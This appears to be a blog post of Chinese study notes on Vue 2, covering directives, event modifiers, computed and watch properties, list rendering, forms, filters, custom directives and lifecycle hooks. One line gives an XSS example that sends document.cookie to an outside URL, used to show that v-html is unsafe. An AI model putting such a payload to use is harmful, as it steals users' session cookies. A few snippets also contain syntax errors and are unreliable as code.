vue 尚硅谷

 

http://vuejs.org

http://bootcdn.cn 

 插值语法 {{}} 标签属性不可用。

指令语法v-if/v-for/v-if-else/v-bind  标签属性,标签内容/v-on:click="showInfo($event, 6666)"或@click

v-model只支持表单双向绑定,其他标签不可用,标签无需写value,直接v-model

const v = new Vue()
setTimeout(() => {
  v.$mount('#root')
})

Vue原型方法都能用

Object.defineproperty使用/  两个对象的数据代理

let number = 18
let person = {
    name: '张三',
    sex: '男',
}
//enumerable控制对象属性是否枚举,默认值false
//writable控制对象属性是否可被修改,默认值false
//configurable:控制对象属性是否可被删除,默认值false
Object.defineProperty(person, 'age', {
value: 18, 
enumerable: true, 
writable: true, 
configurable: true,
get() {
  console.log('有人读取了age属性了')
  return number
},

set(value){
  console.log('有人修改了age属性,值时', value)
  number = value
}
})
在对象中添加一个属性。该属性不被枚举。
console.log(Object.keys(person))

 事件处理:

v-on或@
@click.prevent="showInfo" 阻止默认事件。本身跳转的url,阻止其跳转
@click.stop 阻止冒泡
@click.once 只触发一次
@click.capture 使用事件的捕获模式
@click.self
@click.passive

@keydown
@keyup.enter="showInfo" //按下回车调用e.targer.value/e.key/e.keyCode
.enter
.delete 删除或退格键
.esc 
.space
.tab 、ctrl、alt 、shift、 meta 特殊配合keydown使用
.up
.down
.left
.right
.caps-lock

 Vue.config.keyCodes.huiche = 13定义按键别名

@keydown.huiche="showInfo"不推荐

@click.prevent.stop="showInfo"

@keyup.ctrl.y="showInfo"同时按下ctrl+y

 

计算属性与监视(缓存)

string.slice(0,3)
computed: 


computed: { fullName: { get(){
return: this.firstName + '-' + this.lastName }, set(value){ this.firstName = value.split('-')[0] this.lastName = value.split('-')[1] } } }
{{fullName()}}

 只考虑get时,可以简写

computed: {
  fullName() {
      return: this.firstName + '-' + this.lastName
  }
}
{{fullName}}

监视属性:

//isHot时data里的属性
//明确监视哪个属性使用:
watch: {
  //'isHot': {
  isHot: {
    immediate: true,//e初始化时让handler调用一下
    handler(newValue, oldValue){
      console.log(newValue, oldValue)
     }
  }
}


//不知道监视哪个属性时使用:
vm.$watch('isHot', {
  immediate: true,
  handler(newValue, oldValue){
    console.log(newValue, oldValue)
  }
})

 深度监视属性:

data: {
  numbers: {
     a: 1,
     b: 2
  }
},
watch: {
  numbers: {
    deep: true,//对象的所以属性改变时触发  效率默认不开启
    handler(newValue, oldValue){
      console.log(newValue, oldValue)
     }
  },
  isHot(newValue, oldValue){ //简写
    console.log(newValue, oldValue)
  }
}

//简写
vm.$watch('isHot', function(newValue, oldValue){
  console.log(newValue, oldValue)
})

const index = Math.floor(Math.random()*3)

绑定样式class字符串写法适用于样式的类名不确定 :class="class"

绑定样式class个数不确定、名字也不确定用数组 :class="classArr"

绑定样式class个数确定、名字也确定用对象 :class="classObj"

style样式绑定可以是对象或数组  :class="styleObj1" 或:class="[styleObj1, styleObj2]" 或 :class="styleArr"

 

vue条件渲染

//条件渲染
v-show  display:none保留节点 可以获取节点值
v-if 去除节点
v-else-if/v-else

v-if 与template标签配合使用
//不破坏样式
<template v-if="true">
<h2></h2>
</template>
//破坏样式
<div v-if="true">
<h2></h2>
</div>

:key必须唯一,
添加dom或时数组元素时建议用p.id来做key.或放数组最后添加元素
//列表渲染
v-for
//遍历数组
<li v-for="(p, index) in persons" :key="p.id">
</li>
<li v-for="(p, index) of persons" :key="index">
</li>
//遍历对象
<li v-for="(value, key) of person" :key="key">
</li>
//遍历字符串
//遍历指定次数
<li v-for="(number, index) of 5" :key="index">
</li>

 列表排序,列表过滤filter, sort 

Vue.set()、vm.$set、this.$set(this.student, 'sex', '男')//响应式添加属性

push,pop, shift, unshift, splice, sort, reverse

Vue.set(this.student.hobby, 0, '开车') 、this.student.hobby.splice(0, 1, '开车')响应式修改数组元素

this.student.friends.unshift({name: 'jack', age:70})//响应式修改对象数据

filter, concat, slice数组时,返回新数组。

 

收集表单

from @submit.prevent="demo"

//username: ''
//password: ''
input type="text" v-model="username"
input type="text" v-model="password"

//sex: 'female'
input type="radio" name="sex" v-model="sex" value="male"
input type="radio" name="sex" v-model="sex" value="female"

//hobby: []
input type="checkbox" v-model="hobby" value="study"
input type="checkbox" v-model="hobby" value="game"
input type="checkbox" v-model="hobby" value="eat"

//city: 'beijing'
select v-model="city"
option value=""请选择校区
option value="beijing" 北京
option value="shanghai" 上海

//other: ''
textarea v-model="other"

//agree: ''唯一时默认true/false
input type="checkbox" v-model="agree"


input type="text" v-model.trim="username"//首位空格去除
input type="number" v-model.number="age"//自动转为数值类型
input type="textarea" v-model.lazy="other"//失去焦点收集数据

 

http://bootcdn.cn //下载dayjs

Vue过滤器

过滤器管道,默认第一个值参数是 管道符前面的time作为参数,第二个参数为定义的参数(有或无)
<h3>{{time | timeFormater}}</h3>
<h3>{{time | timeFormater('YYYY-MM-DD')}}</h3>
<h3>{{time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>

局部过滤器
filters: {
  timeFormater(value, str='YYYY-MM-DD HH:mm:ss'){
    return dayjs(value).format(str)
  },
  mySlice(value){
    return value.slice(0,4)
  }
}

全局过滤器(在new Vue()之前创建过滤器)跨组件使用
Vue.filter('mySlice', function(value){
  return value.slice(0, 4)
})

插值语法和v-bind都可以使用 管道过滤器,不改变原数据。

 内置指令

内置指令

div v-text="name' 相当于 {{name}}更灵活
div v-html="str" 解析<a href="javascript:location.href='http://www.baidu.com?'+document.cookie"></a>

v-html存在不安全性。

自定义指令

 

 

node server

等待5s加载文件,走独木桥,前面的人没走,后面的人就不能走

跟放置页面的位置有关
script type="text/javascipt" src="http://localhost:8080/resource/5s/vue.js"


v-clock指令 网站加载过慢时使用配合样式使用,标签中无需填充值,页面加载完自动删除
标签:h2 v-cloak 
样式:[v-cloak] { display: none; }


v-once指令 初始化读写一次data属性,后面都不再读取.标签中无需填充值
标签< h2 v-once> {{n}}</h2> 观察上下区别
标签 <h2 > {{n}} </h2>观察上下区别


v-pre 标签里写什么就是什么。该标签内的所有vue指令都用不了。

自定义指令:
1.指令定义时不加v-  用时加
2.多个单词用user-name不用userName
3.配置对象中常用的3个回调bind/inserted/update
4.全局/局部指令
定义v-big


data: {
  n: 1
},
directives: {//局部指令
  big(element, binding) {//不需要特殊处理时直接这样写
    console.log(this) //注意此处的this是window
    element.innerText = binding.value * 10
  },
  'big-normal'(element, binding) {//带连字符的函数写法
    element.innerText = binding.value * 10
  },
  'big-normal': function(element, binding) {//带连字符的函数写法
    element.innerText = binding.value * 10
  },
  fbind: {//需要特殊处理时使用
    bind(element, binding) {//指令与元素成功绑定时(一上来)
      element.value = binding.value
    },
    inserted(element, binding) {//指令所在元素被插入页面时
      element.focus()
    },
    update(element, binding) {//指令所在的模板被重新解析时
      element.value = binding.value
      element.focus()
    }
  }
}


/全局指令:
Vue.directive('fbind', {
  bind(e,b){},
  inserted(e,b){},
  update(e,b){}
})
    

span v-text="n" span
span v-big="n" span
input type="text" v-fbind:value="n"加载时获取焦点

 

//生命周期(钩子):
beforeCreated()
created()
beforeMount()

//ajax,启动定时器,绑定自定义事件,订阅消息等初始化操作
mounted() {//虚拟dom加载到真实dom后调用 -- 常用
  debugger;
}
beforeUpdate()
updated()

//清除定时器,解绑自定义事件,取消订阅等 收尾工作
//一般不会在这里操作数据。即便操作数据也不再触发更新了
//销毁后Vue开发者工具看不到
beforeDestroy()  -- 常用
//销毁后自定义事件失效,原生DOM事件依然有效
destroyed()

 

 

 

 

 

 

posted on 2022-10-25 18:53  王飞侠  阅读(36)  评论(0编辑  收藏  举报

导航